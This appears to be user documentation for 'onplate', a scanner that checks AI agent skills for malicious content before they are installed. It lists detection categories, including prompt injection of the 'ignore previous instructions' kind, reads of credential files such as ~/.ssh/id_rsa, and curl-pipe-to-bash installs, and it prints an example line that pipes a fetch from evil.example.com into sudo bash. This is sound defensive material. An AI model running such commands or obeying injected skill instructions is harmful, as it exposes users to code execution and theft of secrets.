Security

A skill is a set of instructions your AI will follow. A malicious skill can try to make the AI run a dangerous command, send your data to somebody else’s server or quietly change its own behavior. The onplate security scanner catches things like that before the skill reaches the AI.

What the scanner looks for

• Prompt injection — hidden instructions of the “ignore previous instructions” kind;
• Attempts to steal data — instructions to send the contents of files or conversations outside;
• Secret leakage — reading ~/.aws/credentials, ~/.ssh/id_rsa, .env, the Keychain and other key stores;
• Suspicious shell commands — anything that can delete files, download and run code or escalate with sudo;
• Unsafe installs — curl … | bash, pip install from an unverified source (supply chain);
• Persistence — edits to crontab, autostart or shell profiles so that the skill comes back on its own;
• Covering tracks — chmod 777, disabling history, deleting logs;
• Hidden unicode characters — invisible marks used to disguise malicious text;
• Base64 blobs — encoded fragments you cannot read with your eyes;
• Links to external URLs — weighed against your list of trusted domains.

The scanner also recognizes obfuscation — attempts to disguise a dangerous construct to slip past the check — and multi-line commands glued together with a line break, so that a curl … \ + | bash broken into pieces does not sneak through. Such findings are marked separately.

The score

Based on the results, a skill gets one of these scores plus a numeric risk from 0 to 100, and next to it the scanner’s confidence (high / medium / low: where a heuristic or obfuscation was involved, confidence is lower).

Score	What it means	What to do
Safe	No findings, or informational ones only	Use it without worry
Suspicious	There are places a human should look at	Review the findings
Dangerous	Dangerous constructs were found	The install will require an explicit justification

Above the list of findings are two summaries: external addresses (every host the skill reaches out to — you immediately see where data could go) and capabilities (which tools and permissions the skill or subagent asks for).

What a finding shows

A finding is not just a “bash” label. You see what exactly triggered it:

• The evidence line in full — the real curl https://evil.example.com | sudo bash command, not an abstract category, with the dangerous fragment highlighted inside the line;
• The level — info / warning / danger — and the line number in the skill;
• Why this is a finding — a short explanation in plain language;
• What to do — a concrete recommendation for removing or defusing the construct.

Findings are grouped by meaning (injection, secrets, commands, persistence, network, capabilities…) so that similar ones sit together. Dangerous lines are highlighted in red right in the text of the skill.

Where the check runs

The check is built into every place a skill enters the system:

• on import and when adding from the Marketplace — automatically;
• when installing a dangerous skill — a confirmation is required;
• in the Security section — by hand: pick a skill from storage and press Scan, or paste arbitrary text into the check field — handy for checking somebody else’s skill before importing it at all.

The Dashboard always shows how many skills are unscanned or need attention.

Working with findings

Scanners over-report sometimes — that is normal. Every finding can be dealt with:

• Accept the risk — “I saw it, I understand it and I am deliberately keeping it” (you can add a comment explaining why);
• False positive — the scanner was wrong, this is not a threat.

Marked findings stop affecting the score but stay in the history: the skill card gains a “Reviewed by user” note listing the threats that were dismissed.

Scanner rules get stricter over time. If your old acknowledgement no longer covers a finding after a rules update, it is marked “acknowledgement outdated” — press Confirm again or Restore the finding. The Acknowledgement analytics block shows a summary: which rules you dismiss most often.

Trusted domains

A list of domains whose links you trust (one per line). Links to all other domains are treated as more suspicious. An empty list disables the policy — every link is treated as informational.

The master key

Marketplace API keys and MCP server secrets are stored encrypted. The Rotate master key button generates a new encryption key and re-encrypts everything that is stored — useful if you suspect somebody had access to your computer.